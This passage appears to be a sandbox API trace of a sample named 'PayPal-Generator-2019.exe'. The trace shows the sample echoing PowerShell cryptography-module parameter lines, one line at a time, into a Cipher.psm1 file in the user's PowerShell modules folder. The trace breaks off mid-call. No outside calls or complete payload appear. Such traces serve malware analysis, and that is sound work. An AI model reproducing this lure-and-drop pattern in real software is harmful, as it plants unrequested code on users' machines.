(_FileHandle=1) returned 3 [0049.168] _close (_FileHandle=1) returned 0 [0049.168] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.168] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e86c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.168] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.168] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.168] GetFileType (hFile=0x3c) returned 0x1 [0049.168] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x675 [0049.168] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e884*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e884*=0) returned 0x674 [0049.168] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e888, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e878, lpOverlapped=0x0 | out: lpBuffer=0xe2e888*, lpNumberOfBytesRead=0xe2e878*=0x1, lpOverlapped=0x0) returned 1 [0049.169] GetConsoleTitleW (in: lpConsoleTitle=0xe2e688, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.169] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.169] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.169] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.169] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.169] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.169] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.169] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.169] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.169] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.169] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.169] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e644 | out: _Buffer=" [System.Security.SecureString]$Key = (New-CryptographyKey -Algorithm $Algorithm), \r\n") returned 89 [0049.169] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.169] GetFileType (hFile=0x3c) returned 0x1 [0049.169] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [System.Security.SecureString]$Key = (New-CryptographyKey -Algorithm $Algorithm), \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [System.Security.SecureString]$Key = (New-CryptographyKey -Algorithm $Algorithm), \r\n", lpUsedDefaultChar=0x0) returned 90 [0049.170] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xe2e634, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e634*=0x59, lpOverlapped=0x0) returned 1 [0049.170] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.170] _close (_FileHandle=3) returned 0 [0049.170] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.170] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.170] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.170] GetFileType (hFile=0x3c) returned 0x2 [0049.170] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.170] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e82c | out: lpMode=0xe2e82c) returned 1 [0049.171] _dup (_FileHandle=1) returned 3 [0049.171] _close (_FileHandle=1) returned 0 [0049.171] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.171] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e80c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.171] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.172] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.172] GetFileType (hFile=0x3c) returned 0x1 [0049.172] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6ce [0049.172] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e824*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e824*=0) returned 0x6cd [0049.172] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e828, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e818, lpOverlapped=0x0 | out: lpBuffer=0xe2e828*, lpNumberOfBytesRead=0xe2e818*=0x1, lpOverlapped=0x0) returned 1 [0049.172] GetConsoleTitleW (in: lpConsoleTitle=0xe2e628, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.172] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.173] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.173] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.173] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.173] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.173] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.173] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.173] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.173] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.173] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.173] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e5e4 | out: _Buffer=" [Parameter(Mandatory=$true, Position=3, ParameterSetName='PlainText')] \r\n") returned 78 [0049.173] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.173] GetFileType (hFile=0x3c) returned 0x1 [0049.173] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter(Mandatory=$true, Position=3, ParameterSetName='PlainText')] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter(Mandatory=$true, Position=3, ParameterSetName='PlainText')] \r\n", lpUsedDefaultChar=0x0) returned 79 [0049.173] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xe2e5d4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e5d4*=0x4e, lpOverlapped=0x0) returned 1 [0049.173] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.182] _close (_FileHandle=3) returned 0 [0049.182] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.182] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.182] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.182] GetFileType (hFile=0x3c) returned 0x2 [0049.182] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.182] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e7cc | out: lpMode=0xe2e7cc) returned 1 [0049.183] _dup (_FileHandle=1) returned 3 [0049.183] _close (_FileHandle=1) returned 0 [0049.183] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.183] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e7ac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.184] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.184] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.184] GetFileType (hFile=0x3c) returned 0x1 [0049.184] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x71c [0049.184] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e7c4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e7c4*=0) returned 0x71b [0049.184] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e7c8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e7b8, lpOverlapped=0x0 | out: lpBuffer=0xe2e7c8*, lpNumberOfBytesRead=0xe2e7b8*=0x1, lpOverlapped=0x0) returned 1 [0049.184] GetConsoleTitleW (in: lpConsoleTitle=0xe2e5c8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.185] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.185] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.185] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.185] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.185] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.185] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.185] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.185] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.185] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.185] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.185] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e584 | out: _Buffer=" [String]$KeyAsPlainText, \r\n") returned 32 [0049.185] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.185] GetFileType (hFile=0x3c) returned 0x1 [0049.185] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.185] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [String]$KeyAsPlainText, \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [String]$KeyAsPlainText, \r\n", lpUsedDefaultChar=0x0) returned 33 [0049.185] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe2e574, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e574*=0x20, lpOverlapped=0x0) returned 1 [0049.186] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.188] _close (_FileHandle=3) returned 0 [0049.188] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.188] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.188] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.188] GetFileType (hFile=0x3c) returned 0x2 [0049.188] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.188] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e76c | out: lpMode=0xe2e76c) returned 1 [0049.190] _dup (_FileHandle=1) returned 3 [0049.190] _close (_FileHandle=1) returned 0 [0049.190] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.190] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e74c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.190] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.190] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.190] GetFileType (hFile=0x3c) returned 0x1 [0049.190] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x73c [0049.190] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e764*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e764*=0) returned 0x73b [0049.190] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e768, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e758, lpOverlapped=0x0 | out: lpBuffer=0xe2e768*, lpNumberOfBytesRead=0xe2e758*=0x1, lpOverlapped=0x0) returned 1 [0049.190] GetConsoleTitleW (in: lpConsoleTitle=0xe2e568, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.191] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.191] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.191] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.191] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.191] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.191] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.191] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.191] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.191] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.191] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.192] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e524 | out: _Buffer=" [Parameter(Mandatory=$false, Position=4)] \r\n") returned 49 [0049.192] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.192] GetFileType (hFile=0x3c) returned 0x1 [0049.192] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.192] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter(Mandatory=$false, Position=4)] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter(Mandatory=$false, Position=4)] \r\n", lpUsedDefaultChar=0x0) returned 50 [0049.192] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0xe2e514, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e514*=0x31, lpOverlapped=0x0) returned 1 [0049.192] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.192] _close (_FileHandle=3) returned 0 [0049.192] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.192] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.193] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.193] GetFileType (hFile=0x3c) returned 0x2 [0049.193] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.193] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e70c | out: lpMode=0xe2e70c) returned 1 [0049.193] _dup (_FileHandle=1) returned 3 [0049.193] _close (_FileHandle=1) returned 0 [0049.193] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.193] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e6ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.194] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.194] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.194] GetFileType (hFile=0x3c) returned 0x1 [0049.194] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x76d [0049.194] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e704*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e704*=0) returned 0x76c [0049.194] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e708, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e6f8, lpOverlapped=0x0 | out: lpBuffer=0xe2e708*, lpNumberOfBytesRead=0xe2e6f8*=0x1, lpOverlapped=0x0) returned 1 [0049.194] GetConsoleTitleW (in: lpConsoleTitle=0xe2e508, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.195] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.195] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.196] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.196] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.196] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.196] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.196] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.196] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.196] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.196] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.196] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e4c4 | out: _Buffer=" [System.Security.Cryptography.CipherMode]$CipherMode, \r\n") returned 61 [0049.196] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.196] GetFileType (hFile=0x3c) returned 0x1 [0049.196] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.196] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [System.Security.Cryptography.CipherMode]$CipherMode, \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [System.Security.Cryptography.CipherMode]$CipherMode, \r\n", lpUsedDefaultChar=0x0) returned 62 [0049.196] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xe2e4b4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e4b4*=0x3d, lpOverlapped=0x0) returned 1 [0049.196] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.197] _close (_FileHandle=3) returned 0 [0049.197] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.197] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.197] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.197] GetFileType (hFile=0x3c) returned 0x2 [0049.197] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.197] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e6ac | out: lpMode=0xe2e6ac) returned 1 [0049.198] _dup (_FileHandle=1) returned 3 [0049.198] _close (_FileHandle=1) returned 0 [0049.198] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.198] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e68c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.199] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.199] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.199] GetFileType (hFile=0x3c) returned 0x1 [0049.199] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7aa [0049.199] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e6a4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e6a4*=0) returned 0x7a9 [0049.199] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e6a8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e698, lpOverlapped=0x0 | out: lpBuffer=0xe2e6a8*, lpNumberOfBytesRead=0xe2e698*=0x1, lpOverlapped=0x0) returned 1 [0049.199] GetConsoleTitleW (in: lpConsoleTitle=0xe2e4a8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.199] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.200] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.200] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.200] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.200] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.200] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.200] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.200] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.200] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.200] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.200] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e464 | out: _Buffer=" [Parameter(Mandatory=$false, Position=5)] \r\n") returned 50 [0049.200] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.200] GetFileType (hFile=0x3c) returned 0x1 [0049.200] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter(Mandatory=$false, Position=5)] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter(Mandatory=$false, Position=5)] \r\n", lpUsedDefaultChar=0x0) returned 51 [0049.200] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xe2e454, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e454*=0x32, lpOverlapped=0x0) returned 1 [0049.200] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.201] _close (_FileHandle=3) returned 0 [0049.201] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.201] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.201] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.201] GetFileType (hFile=0x3c) returned 0x2 [0049.201] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.201] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e64c | out: lpMode=0xe2e64c) returned 1 [0049.201] _dup (_FileHandle=1) returned 3 [0049.201] _close (_FileHandle=1) returned 0 [0049.201] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.201] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e62c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.202] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.202] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.202] GetFileType (hFile=0x3c) returned 0x1 [0049.202] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7dc [0049.202] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e644*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e644*=0) returned 0x7db [0049.202] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e648, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e638, lpOverlapped=0x0 | out: lpBuffer=0xe2e648*, lpNumberOfBytesRead=0xe2e638*=0x1, lpOverlapped=0x0) returned 1 [0049.202] GetConsoleTitleW (in: lpConsoleTitle=0xe2e448, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.202] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.202] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.202] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.202] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.202] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.202] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.203] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.203] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.203] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.203] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.203] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e404 | out: _Buffer=" [System.Security.Cryptography.PaddingMode]$PaddingMode, \r\n") returned 63 [0049.203] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.203] GetFileType (hFile=0x3c) returned 0x1 [0049.203] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [System.Security.Cryptography.PaddingMode]$PaddingMode, \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [System.Security.Cryptography.PaddingMode]$PaddingMode, \r\n", lpUsedDefaultChar=0x0) returned 64 [0049.203] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0xe2e3f4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e3f4*=0x3f, lpOverlapped=0x0) returned 1 [0049.203] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.204] _close (_FileHandle=3) returned 0 [0049.204] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.204] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.204] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.204] GetFileType (hFile=0x3c) returned 0x2 [0049.204] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.204] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2e5ec | out: lpMode=0xe2e5ec) returned 1 [0049.204] _dup (_FileHandle=1) returned 3 [0049.204] _close (_FileHandle=1) returned 0 [0049.205] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.205] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2e5cc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.205] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.205] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.205] GetFileType (hFile=0x3c) returned 0x1 [0049.205] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x81b [0049.205] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2e5e4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2e5e4*=0) returned 0x81a [0049.205] ReadFile (in: hFile=0x3c, lpBuffer=0xe2e5e8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2e5d8, lpOverlapped=0x0 | out: lpBuffer=0xe2e5e8*, lpNumberOfBytesRead=0xe2e5d8*=0x1, lpOverlapped=0x0) returned 1 [0049.205] GetConsoleTitleW (in: lpConsoleTitle=0xe2e3e8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.206] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.206] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.206] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.206] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.206] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.206] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.206] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.206] _wcsicmp 